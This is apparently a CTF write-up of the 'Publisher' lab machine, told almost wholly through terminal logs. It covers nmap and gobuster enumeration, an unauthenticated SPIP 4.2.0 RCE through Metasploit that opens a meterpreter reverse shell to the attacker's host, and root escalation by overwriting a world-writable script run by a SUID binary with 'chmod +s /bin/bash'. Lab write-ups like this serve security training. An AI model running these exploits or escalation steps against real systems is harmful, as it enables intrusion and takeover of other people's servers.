a ctfer on the load

1
┌──(kali㉿kali)-[~]
2
└─$ nmap -sV -sC -T4 -Pn -p- 192.168.31.8
3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-04 20:46 HKT
4
Nmap scan report for 192.168.31.8
5
Host is up (0.0017s latency).
6
Not shown: 65533 closed tcp ports (reset)
7
PORT   STATE SERVICE VERSION
8
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.10 (Ubuntu Linux; protocol 2.0)
9
| ssh-hostkey:
10
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
11
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
12
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
13
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
14
|_http-server-header: Apache/2.4.41 (Ubuntu)
15
|_http-title: Publisher's Pulse: SPIP Insights & Tips
16
MAC Address: 08:00:27:E4:F1:F5 (Oracle VirtualBox virtual NIC)
17
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
18

19
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
20
Nmap done: 1 IP address (1 host up) scanned in 15.56 seconds

1
┌──(kali㉿kali)-[~]
2
└─$ gobuster dir -u http://192.168.31.8/  -w /usr/share/wordlists/dirb/big.txt -x php,html,txt,md -b 404
3
===============================================================
4
Gobuster v3.6
5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
6
===============================================================
7
[+] Url:                     http://192.168.31.8/
8
[+] Method:                  GET
9
[+] Threads:                 10
10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
11
[+] Negative Status codes:   404
12
[+] User Agent:              gobuster/3.6
13
[+] Extensions:              php,html,txt,md
14
[+] Timeout:                 10s
15
===============================================================
16
Starting gobuster in directory enumeration mode
17
===============================================================
18
/.htpasswd            (Status: 403) [Size: 277]
19
/.htaccess.md         (Status: 403) [Size: 277]
20
/.htaccess.php        (Status: 403) [Size: 277]
21
/.htaccess.html       (Status: 403) [Size: 277]
22
/.htpasswd.md         (Status: 403) [Size: 277]
23
/.htaccess.txt        (Status: 403) [Size: 277]
24
/.htpasswd.php        (Status: 403) [Size: 277]
25
/.htpasswd.txt        (Status: 403) [Size: 277]
26
/.htpasswd.html       (Status: 403) [Size: 277]
27
/.htaccess            (Status: 403) [Size: 277]
28
/images               (Status: 301) [Size: 313] [--> http://192.168.31.8/images/]
29
/index.html           (Status: 200) [Size: 8686]
30
/server-status        (Status: 403) [Size: 277]
31
/spip                 (Status: 301) [Size: 311] [--> http://192.168.31.8/spip/]
32
Progress: 102345 / 102350 (100.00%)
33
===============================================================
34
Finished
35
===============================================================

1
┌──(kali㉿kali)-[~]
2
└─$ whatweb http://192.168.31.8/spip/
3
http://192.168.31.8/spip/ [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[192.168.31.8], MetaGenerator[SPIP 4.2.0], SPIP[4.2.0][http://192.168.31.8/spip/local/config.txt], Script[text/javascript], Title[Publisher], UncommonHeaders[composed-by,link,x-spip-cache]

1
┌──(kali㉿kali)-[~]
2
└─$ searchsploit SPIP 4.2.0
3
---------------------------------------------- ---------------------------------
4
 Exploit Title                                |  Path
5
---------------------------------------------- ---------------------------------
6
SPIP v4.2.0 - Remote Code Execution (Unauthen | php/webapps/51536.py
7
---------------------------------------------- ---------------------------------
8
Shellcodes: No Results

1
msf6 > search SPIP 4.2.0
2
[-] No results from search
3
msf6 > search SPIP 4.2
4

5
Matching Modules
6
================
7

8
   #   Name                                             Disclosure Date  Rank       Check  Description
9
   -   ----                                             ---------------  ----       -----  -----------
10
   0   exploit/multi/http/spip_bigup_unauth_rce         2024-09-06       excellent  Yes    SPIP BigUp Plugin Unauthenticated RCE
11
   1     \_ target: PHP In-Memory                       .                .          .      .
12
   2     \_ target: Unix/Linux Command Shell            .                .          .      .
13
   3     \_ target: Windows Command Shell               .                .          .      .
14
   4   exploit/multi/http/spip_porte_plume_previsu_rce  2024-08-16       excellent  Yes    SPIP Unauthenticated RCE via porte_plume Plugin
15
   5     \_ target: PHP In-Memory                       .                .          .      .
16
   6     \_ target: Unix/Linux Command Shell            .                .          .      .
17
   7     \_ target: Windows Command Shell               .                .          .      .
18
   8   exploit/multi/http/spip_rce_form                 2023-02-27       excellent  Yes    SPIP form PHP Injection
19
   9     \_ target: PHP In-Memory                       .                .          .      .
20
   10    \_ target: Unix/Linux Command Shell            .                .          .      .
21
   11    \_ target: Windows Command Shell               .                .          .      .
22

23

24
Interact with a module by name or index. For example info 11, use 11 or use exploit/multi/http/spip_rce_form
25
After interacting with a module you can manually set a TARGET with set TARGET 'Windows Command Shell'
26

27
msf6 > use 0
28
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
29
msf6 exploit(multi/http/spip_bigup_unauth_rce) > show options
30

31
Module options (exploit/multi/http/spip_bigup_unauth_rce):
32

33
   Name       Current Setting  Required  Description
34
   ----       ---------------  --------  -----------
35
   FORM_PAGE  Auto             yes       A page with a form.
36
   Proxies                     no        A proxy chain of format type:host:por
37
                                         t[,type:host:port][...]
38
   RHOSTS                      yes       The target host(s), see https://docs.
39
                                         metasploit.com/docs/using-metasploit/
40
                                         basics/using-metasploit.html
41
   RPORT      80               yes       The target port (TCP)
42
   SSL        false            no        Negotiate SSL/TLS for outgoing connec
43
                                         tions
44
   TARGETURI  /                yes       Path to Spip install
45
   VHOST                       no        HTTP server virtual host
46

47

48
Payload options (php/meterpreter/reverse_tcp):
49

50
   Name   Current Setting  Required  Description
51
   ----   ---------------  --------  -----------
52
   LHOST  192.168.31.183   yes       The listen address (an interface may be s
53
                                     pecified)
54
   LPORT  4444             yes       The listen port
55

56

57
Exploit target:
58

59
   Id  Name
60
   --  ----
61
   0   PHP In-Memory
62

63

64

65
View the full module info with the info, or info -d command.
66

67
msf6 exploit(multi/http/spip_bigup_unauth_rce) > set RHOSTS http://192.168.31.8/spip/
68
RHOSTS => http://192.168.31.8/spip/
69
msf6 exploit(multi/http/spip_bigup_unauth_rce) > run
70

71
[*] Started reverse TCP handler on 192.168.31.183:4444
72
[*] Running automatic check ("set AutoCheck false" to disable)
73
[*] SPIP Version detected: 4.2.0
74
[+] SPIP version 4.2.0 is vulnerable.
75
[*] Bigup plugin version detected: 3.2.1
76
[+] The target appears to be vulnerable. Both the detected SPIP version (4.2.0) and bigup version (3.2.1) are vulnerable.
77
[*] Found formulaire_action: login
78
[*] Found formulaire_action_args: CKNCtMYqq36vgfpnNEIK0...
79
[*] Preparing to send exploit payload to the target...
80
[*] Sending stage (40004 bytes) to 192.168.31.8
81
[*] Meterpreter session 1 opened (192.168.31.183:4444 -> 192.168.31.8:47312) at 2025-03-04 21:11:27 +0800
82

83
meterpreter > shell
84
Process 60 created.
85
Channel 0 created.
86
id
87
uid=33(www-data) gid=33(www-data) groups=33(www-data)

1
ls -la
2
total 48
3
drwxr-xr-x 8 think    think    4096 Feb 10  2024 .
4
drwxr-xr-x 1 root     root     4096 Dec  7  2023 ..
5
lrwxrwxrwx 1 root     root        9 Jun 21  2023 .bash_history -> /dev/null
6
-rw-r--r-- 1 think    think     220 Nov 14  2023 .bash_logout
7
-rw-r--r-- 1 think    think    3771 Nov 14  2023 .bashrc
8
drwx------ 2 think    think    4096 Nov 14  2023 .cache
9
drwx------ 3 think    think    4096 Dec  8  2023 .config
10
drwx------ 3 think    think    4096 Feb 10  2024 .gnupg
11
drwxrwxr-x 3 think    think    4096 Jan 10  2024 .local
12
-rw-r--r-- 1 think    think     807 Nov 14  2023 .profile
13
lrwxrwxrwx 1 think    think       9 Feb 10  2024 .python_history -> /dev/null
14
drwxr-xr-x 2 think    think    4096 Jan 10  2024 .ssh
15
lrwxrwxrwx 1 think    think       9 Feb 10  2024 .viminfo -> /dev/null
16
drwxr-x--- 5 www-data www-data 4096 Dec 20  2023 spip
17
-rw-r--r-- 1 root     root       35 Feb 10  2024 user.txt

1
think@publisher:~$ find / -perm -u=s -type f 2>/dev/null
2
/usr/lib/policykit-1/polkit-agent-helper-1
3
/usr/lib/openssh/ssh-keysign
4
/usr/lib/eject/dmcrypt-get-device
5
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
6
/usr/lib/xorg/Xorg.wrap
7
/usr/sbin/pppd
8
/usr/sbin/run_container
9
/usr/bin/at
10
/usr/bin/fusermount
11
/usr/bin/gpasswd
12
/usr/bin/chfn
13
/usr/bin/sudo
14
/usr/bin/chsh
15
/usr/bin/passwd
16
/usr/bin/mount
17
/usr/bin/su
18
/usr/bin/newgrp
19
/usr/bin/pkexec
20
/usr/bin/umount

1
think@publisher:~$ strings /usr/sbin/run_container
2
/lib64/ld-linux-x86-64.so.2
3
libc.so.6
4
__stack_chk_fail
5
execve
6
__cxa_finalize
7
__libc_start_main
8
GLIBC_2.2.5
9
GLIBC_2.4
10
_ITM_deregisterTMCloneTable
11
__gmon_start__
12
_ITM_registerTMCloneTable
13
u+UH
14
[]A\A]A^A_
15
/bin/bash
16
/opt/run_container.sh
17
:*3$"
18
GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0
19
crtstuff.c
20
deregister_tm_clones
21
__do_global_dtors_aux
22
completed.8061
23
__do_global_dtors_aux_fini_array_entry
24
frame_dummy
25
__frame_dummy_init_array_entry
26
run_container.c
27
__FRAME_END__
28
__init_array_end
29
_DYNAMIC
30
__init_array_start
31
__GNU_EH_FRAME_HDR
32
_GLOBAL_OFFSET_TABLE_
33
__libc_csu_fini
34
_ITM_deregisterTMCloneTable
35
_edata
36
__stack_chk_fail@@GLIBC_2.4
37
__libc_start_main@@GLIBC_2.2.5
38
execve@@GLIBC_2.2.5
39
__data_start
40
__gmon_start__
41
__dso_handle
42
_IO_stdin_used
43
__libc_csu_init
44
__bss_start
45
main
46
__TMC_END__
47
_ITM_registerTMCloneTable
48
__cxa_finalize@@GLIBC_2.2.5
49
.symtab
50
.strtab
51
.shstrtab
52
.interp
53
.note.gnu.property
54
.note.gnu.build-id
55
.note.ABI-tag
56
.gnu.hash
57
.dynsym
58
.dynstr
59
.gnu.version
60
.gnu.version_r
61
.rela.dyn
62
.rela.plt
63
.init
64
.plt.got
65
.plt.sec
66
.text
67
.fini
68
.rodata
69
.eh_frame_hdr
70
.eh_frame
71
.init_array
72
.fini_array
73
.dynamic
74
.data
75
.bss
76
.comment

1
think@publisher:~$ cat /opt/run_container.sh
2
cat: /opt/run_container.sh: Permission denied
3
think@publisher:~$ ls -la /opt/run_container.sh
4
-rwxrwxrwx 1 root root 1715 Mar 29  2024 /opt/run_container.sh
5
think@publisher:~$ ls -la /opt
6
ls: cannot open directory '/opt': Permission denied

1
think@publisher:~$ /opt/run_container.sh
2
permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/json?all=1": dial unix /var/run/docker.sock: connect: permission denied
3
docker: permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Post "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/create": dial unix /var/run/docker.sock: connect: permission denied.
4
See 'docker run --help'.
5
List of Docker containers:
6
permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/json?all=1": dial unix /var/run/docker.sock: connect: permission denied
7

8
Enter the ID of the container or leave blank to create a new one:

1
think@publisher:~$ env
2
SHELL=/usr/sbin/ash

1
think@publisher:/usr/lib64$ ls -la
2
total 8
3
drwxr-xr-x  2 root root 4096 Dec  8  2023 .
4
drwxr-xr-x 14 root root 4096 Feb 23  2022 ..
5
lrwxrwxrwx  1 root root   32 Nov 22  2023 ld-linux-x86-64.so.2 -> /lib/x86_64-linux-gnu/ld-2.31.so

1
think@publisher:/$ /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /bin/bash
2
think@publisher:/$
3
think@publisher:/$ echo '#!/bin/bash' > /opt/run_container.sh
4
think@publisher:/$ echo 'chmod +s /bin/bash' >> /opt/run_container.sh
5
think@publisher:/$ /usr/sbin/run_container
6
think@publisher:/$ cat /opt/run_container.sh
7
#!/bin/bash
8
chmod +s /bin/bash
9
think@publisher:/$ bash -p
10
bash-5.0# id
11
uid=1000(think) gid=1000(think) euid=0(root) egid=0(root) groups=0(root),1000(think)
12
bash-5.0#
13
ntainers:
14
bash-5.0#

1
bash-5.0# cd /etc/apparmor.d/
2
bash-5.0# ls
3
abi           disable         local        nvidia_modprobe  tunables     usr.sbin.ash       usr.sbin.mysqld    usr.sbin.tcpdump
4
abstractions  force-complain  lsb_release  sbin.dhclient    usr.bin.man  usr.sbin.ippusbxd  usr.sbin.rsyslogd
5
bash-5.0# cat usr.sbin.ash
6
#include <tunables/global>
7

8
/usr/sbin/ash flags=(complain) {
9
  #include <abstractions/base>
10
  #include <abstractions/bash>
11
  #include <abstractions/consoles>
12
  #include <abstractions/nameservice>
13
  #include <abstractions/user-tmp>
14

15
  # Remove specific file path rules
16
  # Deny access to certain directories
17
  deny /opt/ r,
18
  deny /opt/** rwx,
19
  /usr/bin/** mrix,
20
  /usr/sbin/** mrix,
21

22
  # Simplified rule for accessing /home directory
23
  owner /home/** rwix,
24
}